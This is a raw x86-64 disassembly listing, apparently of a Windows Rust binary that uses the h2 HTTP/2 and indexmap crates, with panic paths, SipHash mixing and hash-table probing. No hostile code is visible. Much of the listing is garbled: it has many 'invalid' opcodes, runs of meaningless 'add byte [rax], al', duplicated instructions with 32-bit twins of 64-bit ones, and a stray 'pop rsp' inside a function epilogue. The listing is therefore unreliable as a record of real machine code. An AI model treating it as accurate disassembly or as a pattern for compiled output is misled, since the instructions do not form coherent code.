mov rdx, qword [rbp + 0x340]
call fcn.14006cb50
nop word cs:[rax + rax]
test bl, bl
je 0x1400f09f0
movzx eax, bl
cmp eax, 9
jne 0x1400f0a19
mov rcx, qword [rbp + 0x358]
mov rdx, qword [rbp + 0x518]
call fcn.1400f29a0
mov r13, rax
test rax, rax
jne 0x1400f0b25
mov r15, rdx
test rdx, rdx
jne 0x1400ef301
mov rcx, qword [rbp + 0x360]
mov rdx, qword [rbp + 0x570]
mov r8, qword [rbp + 0x5a0]
mov r9, qword [rbp + 0x590]
call fcn.1400f3cb0
test al, al
jne 0x1400ef46a
jmp 0x1400f0b81
mov rax, qword [rbp + 0x5a8]
mov dword [rax + 0xf4], 1
mov ecx, dword [rbp + 0x588]
mov dword [rax + 0xf8], ecx
mov ecx, dword [rbp + 0x58c]
mov dword [rax + 0xfc], ecx
mov byte [rbp + 0x368], bl
mov rax, qword [rbp + 0xbf]
lea rcx, [rbp + 0x379]
mov qword [rcx + 0x1f], rax
movdqa xmm0, xmmword [rbp + 0x90]
movdqa xmm1, xmmword [rbp + 0xa0]
movdqa xmm2, xmmword [rbp + 0xb0]
movdqu xmmword [rcx + 0x10], xmm2
movdqu xmmword [rcx], xmm1
movdqu xmmword [rcx - 0x10], xmm0
mov eax, dword [rbp + 0x588]
mov dword [rbp + 0x3a0], eax
mov eax, dword [rbp + 0x58c]
mov dword [rbp + 0x3a4], eax
mov r8d, 0xe0
lea rcx, [rbp + 0x3a8]
lea rdx, [rbp - 0x50]
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rbp + 0x590]
lea rdx, [rbp + 0x368]
call fcn.1400b8160
cmp al, 0xc
jne 0x1400f169a
mov r9, qword [rbp + 0x590]
cmp dword [r9 + 0x100], 4
jne 0x1400f0acc
mov rax, qword [r9 + 0x158]
sub rax, qword [r9 + 0x150]
cmp rax, qword [r9 + 0x178]
jae 0x1400ef450
mov rcx, qword [rbp + 0x358]
mov rdx, qword [rbp + 0x518]
call fcn.1400f29a0
mov r13, rax
test rax, rax
jne 0x1400f0b25
mov r15, rdx
test rdx, rdx
jne 0x1400ef301
mov r13d, 1
mov r9, qword [rbp + 0x590]
cmp dword [r9 + 0x100], 4
jne 0x1400f0b25
mov rax, qword [r9 + 0x158]
sub rax, qword [r9 + 0x150]
cmp rax, qword [r9 + 0x178]
jae 0x1400ef450
cmp byte [rbp + 0x524], 0
jne 0x1400f0b3d
mov rax, qword [0x14023c300]
shl rax, 1
test rax, rax
jne 0x1400f0b6b
mov rcx, qword [rbp + 0x598]
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
mov rax, r13
mov rdx, r15
movaps xmm6, xmmword [rbp + 0x5c0]
add rsp, 0x658
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call fcn.14018d880
test al, al
jne 0x1400f0b3d
mov rax, qword [rbp + 0x598]
mov byte [rax + 8], 1
jmp 0x1400f0b3d
mov rax, qword [rbp + 0x518]
mov rax, qword [rax]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
call qword [rdx]
mov qword [rbp + 0x570], rax
mov qword [rbp + 0x5a0], rdx
mov rax, qword [rbp + 0x5a8]
mov rax, qword [rax + 0x140]
test rax, rax
je 0x1400f0bc6
mov rcx, qword [rbp + 0x5a8]
mov rcx, qword [rcx + 0x148]
call qword [rax + 0x18]
mov rax, qword [rbp + 0x570]
mov rcx, qword [rbp + 0x5a8]
mov qword [rcx + 0x140], rax
mov rax, qword [rbp + 0x5a0]
mov qword [rcx + 0x148], rax
xor r15d, r15d
mov r13d, 0
cmp byte [rbp + 0x524], 0
jne 0x1400f0b3d
mov rax, qword [0x14023c300]
shl rax, 1
xor r15d, r15d
mov r13d, 0
test rax, rax
je 0x1400f0b3d
xor r15d, r15d
call fcn.14018d880
mov r13d, 0
test al, al
jne 0x1400f0b3d
jmp 0x1400f0b74
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001findexmap_2.1.0_srcmapcore.rs
call fcn.140186a70
jmp case.0x1400f0369.2
lea rax, [rbp + 0x1fc]
mov qword [rbp + 0xc8], rax
lea rax, [0x14001db60]
mov qword [rbp + 0xd0], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x368], rax
mov qword [rbp + 0x370], 1
mov qword [rbp + 0x388], 0
mov qword [rbp + 0x378], r14
mov qword [rbp + 0x380], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x368]
call fcn.1401869b0
jmp case.0x1400f0369.2
lea rax, [rbp + 0x1fc]
mov qword [rbp + 0xc8], rax
lea rax, [0x14001db60]
mov qword [rbp + 0xd0], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x368], rax
mov qword [rbp + 0x370], 1
mov qword [rbp + 0x388], 0
mov qword [rbp + 0x378], r14
mov qword [rbp + 0x380], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x368]
call fcn.1401869b0
jmp case.0x1400f0369.2
lea rax, [rbp + 0x4e4]
mov qword [rbp + 0x538], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x540], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x368], rax
mov qword [rbp + 0x370], 1
mov qword [rbp + 0x388], 0
lea rax, [rbp + 0x538]
mov qword [rbp + 0x378], rax
mov qword [rbp + 0x380], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x368]
call fcn.1401869b0
jmp case.0x1400f0369.2
lea rax, [rbp + 0x1fc]
mov qword [rbp + 0xc8], rax
lea rax, [0x14001db60]
mov qword [rbp + 0xd0], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x368], rax
mov qword [rbp + 0x370], 1
mov qword [rbp + 0x388], 0
mov qword [rbp + 0x378], r14
mov qword [rbp + 0x380], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x368]
call fcn.1401869b0
jmp case.0x1400f0369.2
lea rax, [rbp + 0x1fc]
mov qword [rbp + 0xc8], rax
lea rax, [0x14001db60]
mov qword [rbp + 0xd0], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x368], rax
mov qword [rbp + 0x370], 1
mov qword [rbp + 0x388], 0
mov qword [rbp + 0x378], r14
mov qword [rbp + 0x380], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x368]
call fcn.1401869b0
jmp case.0x1400f0369.2
lea rax, [rbp + 0x4e4]
mov qword [rbp + 0x538], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x540], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x368], rax
mov qword [rbp + 0x370], 1
mov qword [rbp + 0x388], 0
lea rax, [rbp + 0x538]
mov qword [rbp + 0x378], rax
mov qword [rbp + 0x380], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x368]
call fcn.1401869b0
jmp case.0x1400f0369.2
lea rax, [rbp + 0x57c]
mov qword [rbp + 0x538], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x540], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x368], rax
mov qword [rbp + 0x370], 1
mov qword [rbp + 0x388], 0
lea rax, [rbp + 0x538]
mov qword [rbp + 0x378], rax
mov qword [rbp + 0x380], 1
mov byte [rbp + 0x5b7], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x368]
call fcn.1401869b0
jmp case.0x1400f0369.2
lea rax, [rbp + 0x57c]
mov qword [rbp + 0x538], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x540], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x368], rax
mov qword [rbp + 0x370], 1
mov qword [rbp + 0x388], 0
lea rax, [rbp + 0x538]
mov qword [rbp + 0x378], rax
mov qword [rbp + 0x380], 1
mov byte [rbp + 0x5b7], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x368]
call fcn.1401869b0
jmp case.0x1400f0369.2
lea rax, [rbp + 0x57c]
mov qword [rbp + 0x538], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x540], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x368], rax
mov qword [rbp + 0x370], 1
mov qword [rbp + 0x388], 0
lea rax, [rbp + 0x538]
mov qword [rbp + 0x378], rax
mov qword [rbp + 0x380], 1
mov byte [rbp + 0x5b7], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x368]
call fcn.1401869b0
jmp case.0x1400f0369.2
lea rcx, str.called__Option::unwrap____on_a__None__value
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
mov edx, 0x2b
call fcn.140186b70
jmp case.0x1400f0369.2
lea rcx, str.assertion_failed:_N::next_stream_.is_none__
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
mov edx, 0x2c
call fcn.140186b70
jmp case.0x1400f0369.2
mov byte [rbp + 0x5b7], 0
lea rcx, [0x1401bb4d3]
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_buffer.rs
mov edx, 0xb
call fcn.14018ac80
jmp case.0x1400f0369.2
lea rax, [rbp + 0x53c]
mov qword [rbp + 0xc8], rax
lea rax, [0x14001db60]
mov qword [rbp + 0xd0], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x368], rax
mov qword [rbp + 0x370], 1
mov qword [rbp + 0x388], 0
mov qword [rbp + 0x378], r14
mov qword [rbp + 0x380], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x368]
call fcn.1401869b0
jmp case.0x1400f0369.2
lea rax, [rbp + 0x57c]
mov qword [rbp + 0x538], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x540], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x368], rax
mov qword [rbp + 0x370], 1
mov qword [rbp + 0x388], 0
lea rax, [rbp + 0x538]
mov qword [rbp + 0x378], rax
mov qword [rbp + 0x380], 1
mov byte [rbp + 0x5b7], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x368]
call fcn.1401869b0
jmp case.0x1400f0369.2
lea rax, [rbp - 0x4c]
mov qword [rbp + 0xc8], rax
lea rax, [0x14001db60]
mov qword [rbp + 0xd0], rax
add byte [rax], al
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x368], rax
mov qword [rbp + 0x370], 1
mov qword [rbp + 0x388], 0
mov qword [rbp + 0x378], r14
mov qword [rbp + 0x380], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x368]
call fcn.1401869b0
jmp case.0x1400f0369.2
lea rax, [rbp + 0x1fc]
mov qword [rbp + 0xc8], rax
lea rax, [0x14001db60]
mov qword [rbp + 0xd0], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x368], rax
mov qword [rbp + 0x370], 1
mov qword [rbp + 0x388], 0
mov qword [rbp + 0x378], r14
mov qword [rbp + 0x380], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x368]
call fcn.1401869b0
add cl, ch
push 5
add byte [rax], al
mov byte [rbp + 0x5b7], 0
lea rcx, [0x1401bb4d3]
mov ecx, 0x4c000c9e
lea eax, [0x1401ba298]
mov edx, 0xb
call fcn.14018ac80
jmp case.0x1400f0369.2
lea rax, [rbp + 0x53c]
mov qword [rbp + 0xc8], rax
lea rax, [0x14001db60]
mov qword [rbp + 0xd0], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x368], rax
mov qword [rbp + 0x370], 1
mov qword [rbp + 0x388], 0
mov qword [rbp + 0x378], r14
mov qword [rbp + 0x380], 1
add dword [rax], eax
add byte [rax], al
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x368]
call fcn.1401869b0
jmp case.0x1400f0369.2
mov byte [rbp + 0x368], al
lea rax, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streamsprioritize.rsinvalid_frame
mov qword [rsp + 0x20], rax
lea rcx, [0x1401b9f4d]
lea r9, case.0x140119330.357
lea r8, [rbp + 0x368]
mov edx, recv
call fcn.140186ec0
jmp case.0x1400f0369.2
lea rax, [rbp + 0x52c]
mov qword [rbp + 0x578], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x580], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x368], rax
mov qword [rbp + 0x370], 1
mov qword [rbp + 0x388], 0
lea rax, [rbp + 0x578]
mov qword [rbp + 0x378], rax
mov qword [rbp + 0x380], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x368]
call fcn.1401869b0
jmp case.0x1400f0369.2
lea rax, [rbp + 0x4e4]
mov qword [rbp + 0x538], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x540], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x368], rax
mov qword [rbp + 0x370], 1
mov qword [rbp + 0x388], 0
lea rax, [rbp + 0x538]
mov qword [rbp + 0x378], rax
mov qword [rbp + 0x380], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
or eax, dword cs:[rax]
lea rcx, [rbp + 0x368]
call fcn.1401869b0
jmp case.0x1400f0369.2
lea rax, [rbp + 0x52c]
mov qword [rbp + 0x4e0], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x4e8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x538], rax
mov qword [rbp + 0x540], 1
add byte [rax - 0x39], cl
test dword [rax + 5], ebx
add byte [rax], al
add byte [rax], al
add byte [rax], al
lea rax, [rbp + 0x4e0]
mov qword [rbp + 0x548], rax
mov qword [rbp + 0x550], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x538]
call fcn.1401869b0
jmp case.0x1400f0369.2
lea rax, [rbp + 0x52c]
mov qword [rbp + 0x4e0], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x4e8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x538], rax
add eax, 0xc7480000
test dword [rax + 5], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rbp + 0x558], 0
lea rax, [rbp + 0x4e0]
loopne 0x1400f18dc
add byte [rax], al
mov qword [rbp + 0x548], rax
mov qword [rbp + 0x550], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x538]
call fcn.1401869b0
add cl, ch
jb 0x1400f1904
add byte [rax], al
lea rax, [rbp + 0x1fc]
mov qword [rbp + 0xc8], rax
lea rax, [0x14001db60]
mov qword [rbp + 0xd0], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x368], rax
mov qword [rbp + 0x370], 1
mov qword [rbp + 0x388], 0
mov qword [rbp + 0x378], r14
mov qword [rbp + 0x380], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x368]
call fcn.1401869b0
jmp case.0x1400f0369.2
lea rax, [rbp + 0x4e4]
mov qword [rbp + 0x538], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x540], rax
add eax, 0x8d480000
add eax, 0xb2d3f
mov qword [rbp + 0x368], rax
mov qword [rbp + 0x370], 1
mov qword [rbp + 0x388], 0
lea rax, [rbp + 0x538]
add eax, 0x89480000
test dword [rax + 3], edi
add byte [rax], al
mov qword [rbp + 0x380], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x368]
call fcn.1401869b0
jmp case.0x1400f0369.2
invalid
add byte [rax - 0x73], cl
test esp, esp
add al, 0
add byte [rax - 0x77], cl
test dword [rax], edi
add eax, 0x8d480000
lea eax, [0x14001db60]
lea rax, [rbp + 0x4e4]
mov qword [rbp + 0x538], rax
lea rax, [0x14001db60]
lea eax, [0x14001db60]
lea eax, [0x14001db60]
mov qword [rbp + 0x540], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x368], rax
mov qword [rbp + 0x370], 1
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rbp + 0x388], 0
lea rax, [rbp + 0x538]
mov qword [rbp + 0x378], rax
mov qword [rbp + 0x380], 1
mov dword [rbp + 0x380], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x368]
add byte [rax - 0x73], cl
lea ebp, [rax + 3]
add byte [rax], al
call fcn.1401869b0
jmp case.0x1400f0369.2
add byte [rax], al
lea rcx, str.called__Option::unwrap____on_a__None__value
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streamsprioritize.rsinvalid_frame
mov edx, 0x2b
call fcn.140186b70
jmp case.0x1400f0369.2
lea rax, [rbp + 0x1fc]
mov qword [rbp + 0xc8], rax
lea rax, [0x14001db60]
mov qword [rbp + 0xd0], rax
lea rax, str.dangling_store_key_for_stream_id
faddp st(0)
dec dword [rax - 0x77]
test eax, edx
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xb2c40
mov qword [rbp + 0x368], rax
mov qword [rbp + 0x370], 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rbp + 0x388], 0
mov qword [rbp + 0x378], r14
add byte [rax], al
add byte [rax], al
mov qword [rbp + 0x380], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
xor ch, byte [rbx + rcx]
add byte [rax - 0x73], cl
lea ebp, [rax + 3]
add byte [rax], al
xor ch, byte [rbx + rcx]
add byte [rax - 0x73], cl
lea ebp, [rax + 3]
add byte [rax], al
call fcn.1401869b0
jmp case.0x1400f0369.2
lea rcx, [0x1401a43a7]
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_flow_control.rsassertion_failed:_self.window_size.0___sz_as_i328C
mov edx, 0x31
call fcn.140186b70
jmp case.0x1400f0369.2
lea rcx, [0x1401a43a7]
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_flow_control.rsassertion_failed:_self.window_size.0___sz_as_i328C
mov edx, 0x31
call fcn.140186b70
jmp case.0x1400f0369.2
ud2
pop rdi
pop rbp
ret
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
cmp byte [rbp + 0x31e], 0
je 0x1400f4421
lea rcx, [rbp + 0x210]
add byte [rax], al
call fcn.1400d81a0
nop
add rsp, 0x28
add esp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop r13
pop r14
pop r15
pop rbp
ret
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
and al, 0x10
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
sub esp, 0x28
lea rbp, [rdx + 0x80]
lea rcx, [rbp + 0x2b8]
call fcn.14001c930
mov byte [rbp + 0x31c], 0
add rsp, 0x28
invalid
invalid
invalid
sub byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov qword [rsp + 0x10], rdx
push rsp
and al, 0x10
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
movzx ebx, byte [rbp + 0x31c]
add byte [rax], al
add byte [rax], al
lea rcx, [rbp + 0x2b8]
call fcn.1400d0480
mov byte [rbp + 0x31d], bl
popfq
invalid
add eax, dword [rax]
invalid
popfq
sbb eax, 0x48000003
add esp, 0x28
add byte [rax], al
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
add byte [rax], al
mov qword [rsp + 0x10], rdx
and al, 0x10
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
sub esp, 0x28
lea rbp, [rdx + 0x80]
mov esi, dword [rbp + 0x318]
add byte [rax], al
stosb byte [rdi], al
add byte [rax], 0
add byte [rbx + 0x318b5], cl
add byte [rax], al
invalid
invalid
mov byte [rbp + 0x31d], sil
mov ch, 0x1d
add eax, dword [rax]
add byte [rax - 0x73], cl
lea edi, [rax - 0x17fffffe]
add byte [rax], al
lea rcx, [rbp + 0x2b8]
call fcn.14001deb0
stosd dword [rdi], eax
cdq
inc dword [rax - 0x78]
inc dword [rax - 0x78]
mov ch, 0x1d
add eax, dword [rax]
invalid
stosd dword [rdi], eax
cdq
inc dword [rax - 0x78]
inc dword [rax - 0x78]
mov byte [rbp + 0x31d], dh
mov ch, 0x1d
add eax, dword [rax]
add byte [rax - 0x7d], cl
invalid
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
cmp dword [rbp + 0x260], 3
add byte [rax], al
invalid
je 0x1400f455a
add byte [rax], al
add esi, dword [rbp + rdx - 0x80]
mov ebp, 0x31d
add byte [rsp + rcx + 0x48], dh
lea ecx, [rbp + 0x260]
invalid
cmp byte [rbp + 0x31d], 0
je 0x1400f455a
lea rcx, [rbp + 0x260]
add al, ch
cmp al, 0xfe
call qword [rax + 0x28c48348]
call fcn.1400d81a0
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
add byte [rax - 0x73], cl
adc byte [r8 - 0x77], r9b
enter 0xffffffffffffc748, 0x45
rol byte [rcx], 1
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0xafdfc
lea rcx, [rbp - 0x48]
call fcn.1401869b0
jmp 0x1400f4988
dec dword [rax - 0x77]
sbb byte [r8 - 0x73], r9b
add eax, 0xafdc8
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x40], 1
mov qword [rbp - 0x28], 0
lea rax, [rbp + 0x10]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp - 0x48]
call fcn.1401869b0
jmp 0x1400f4988
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp - 0x48]
call fcn.1401869b0
ud2
invalid
lea ebp, [rdx + 0x80]
lea rcx, [rbp - 0x18]
call fcn.14001c930
nop
add rsp, 0x40
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
mov edi, dword [rbp + 0x210]
movabs r10, 0x736f6d6570736575
xor r10, r11
movabs rcx, 0x646f72616e646f6d
xor rcx, rdi
movabs rdx, 0x6c7967656e657261
invalid
jb case.0x1400e2e02.98
outsb dx, byte [rsi]
jns 0x1400f4bf2
xor rdx, r11
movabs r11, 0x400000000000000
add byte [rax], al
add byte [rax], al
add byte [rax], al
add al, 0x4d
or ebx, ecx
add byte [rax], al
add byte [rax], al
add byte [rax], al
add al, 0x4d
or ebx, ecx
movabs r9, 0x7465646279746573
add r10, rcx
rol rcx, 0xd
xor r9, r11
xor rcx, r10
invalid
or eax, 0x4cd9314d
xor ecx, edx
invalid
ror dword [rcx - 0x3f], 1
ret 0x4920
rol r10, 0x20
xor r9, rdi
add rdx, r9
rol r9, 0x10
xor r9, rdx
xor ecx, edx
xor ecx, edx
add r10, r9
rol r9, 0x15
add rdx, rcx
add edx, ecx
add edx, ecx
rol rcx, 0x11
xor r9, r10
xor rcx, rdx
invalid
rol rdx, 0x20
xor r10, r11
add r10, rcx
rol rcx, 0xd
xor rcx, r10
rol r10, 0x20
and byte [rax - 0x7f], cl
inc dword [rax]
add byte [rax], al
and byte [rax - 0x7f], cl
inc dword [rax]
add byte [rax], al
add rdx, r9
rol r9, 0x10
xor r9, rdx
xor ecx, edx
xor ecx, edx
add r10, r9
rol r9, 0x15
invalid
rol ecx, 0x15
add rdx, rcx
rol rcx, 0x11
xor rcx, rdx
rol rdx, 0x20
xor r9, r10
add r10, rcx
rol rcx, 0xd
or eax, 0x49d1314c
rol edx, 0x20
invalid
invalid
ret 0x4c20
add rdx, r9
rol r9, 0x10
xor r9, rdx
add r10, r9
rol r9, 0x15
add rdx, rcx
add edx, ecx
add edx, ecx
rol rcx, 0x11
lea rbx, [r13 + 0x1a8]
xor rcx, rdx
rol rdx, 0x20
xor r9, r10
add r10, rcx
rol rcx, 0xd
xor rcx, r10
add rdx, r9
rol r9, 0x10
rcl dword [rax], 0x49
xor ecx, edx
rcl dword [rax], 0x49
xor ecx, edx
rol r9, 0x15
add rdx, rcx
rol rcx, 0x11
xor rcx, r9
mov r9, rdx
mov ecx, edx
mov ecx, edx
rol r9, 0x20
xor r9, rcx
xor r9, rdx
mov r10, qword [r13 + 0x1f0]
add dword [rax], eax
add byte [rcx - 0x75], cl
xchg ebp, eax
add byte [rdx], al
add byte [rax], al
add dword [rax], eax
add byte [rcx - 0x75], cl
xchg ebp, eax
add byte [rdx], al
add byte [rax], al
mov r11, qword [r13 + 0x1d0]
mov rdi, qword [r13 + 0x1d8]
mov rcx, r9
shr rcx, 0x39
movd xmm0, ecx
punpcklbw xmm0, xmm0
punpcklbw mm0, mm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
xor r14d, r14d
pcmpeqd xmm1, xmm1
and r9, rdi
movdqu xmm2, xmmword [r11 + r9]
movdqa xmm3, xmm0
pcmpeqb xmm3, xmm2
pmovmskb r15d, xmm3
nop dword [rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
test r15w, r15w
je 0x1400f4d13
tzcnt ecx, r15d
add rcx, r9
and rcx, rdi
shl rcx, 3
mov r12, r11
sub r12, rcx
mov rcx, qword [r12 - 8]
cmp rdx, rcx
jbe 0x1400f8cda
invalid
add byte [rax], al
invalid
lea r12d, [r15 - 1]
and r12d, r15d
shl rcx, 4
mov r15d, r12d
out 0x41, eax
cmp dword [rdx + rcx + 8], esi
out 0x41, eax
cmp dword [rdx + rcx + 8], esi
jne 0x1400f4cd0
jmp 0x1400f5943
pcmpeqb xmm2, xmm1
pmovmskb ecx, xmm2
test ecx, ecx
jne 0x1400f656b
add r9, r14
add r9, 0x10
add r14, 0x10
jmp 0x1400f4cb2
test dword [rax + 9], ebx
add byte [rax], al
movdqu xmmword [rax + 0x30], xmm3
movdqu xmmword [rax + 0x24], xmm2
movdqu xmmword [rax + 0x14], xmm1
movq qword [rax + 0x14], mm1
movq qword [rax + 0x14], mm1
movdqu xmmword [rax + 4], xmm0
mov dword [rax], 0
jmp 0x1400fa77a
adc byte [rdx], bl
invalid
jne 0x1400f4dad
add byte [rax - 0x2f], cl
loopne 0x1400f4de6
test eax, eax
jne 0x1400f7cc2
xor eax, eax
movzx ecx, byte [rsi + 8]
test cl, cl
leave
jne 0x1400f7cd5
mov dword [rbp + 0xbe8], eax
movzx ebx, byte [rdi + 0x30]
mov rdi, qword [rdi + 0x28]
call 0x14f0f4dc6
mov dh, 0x5f
xor byte [rax - 0x75], cl
jg 0x1400f4dea
lea rcx, [rbp + 0x1c0]
mov rdx, rbp
mov edx, ebp
mov r8d, 0x118
call sub.VCRUNTIME140.dll_memcpy
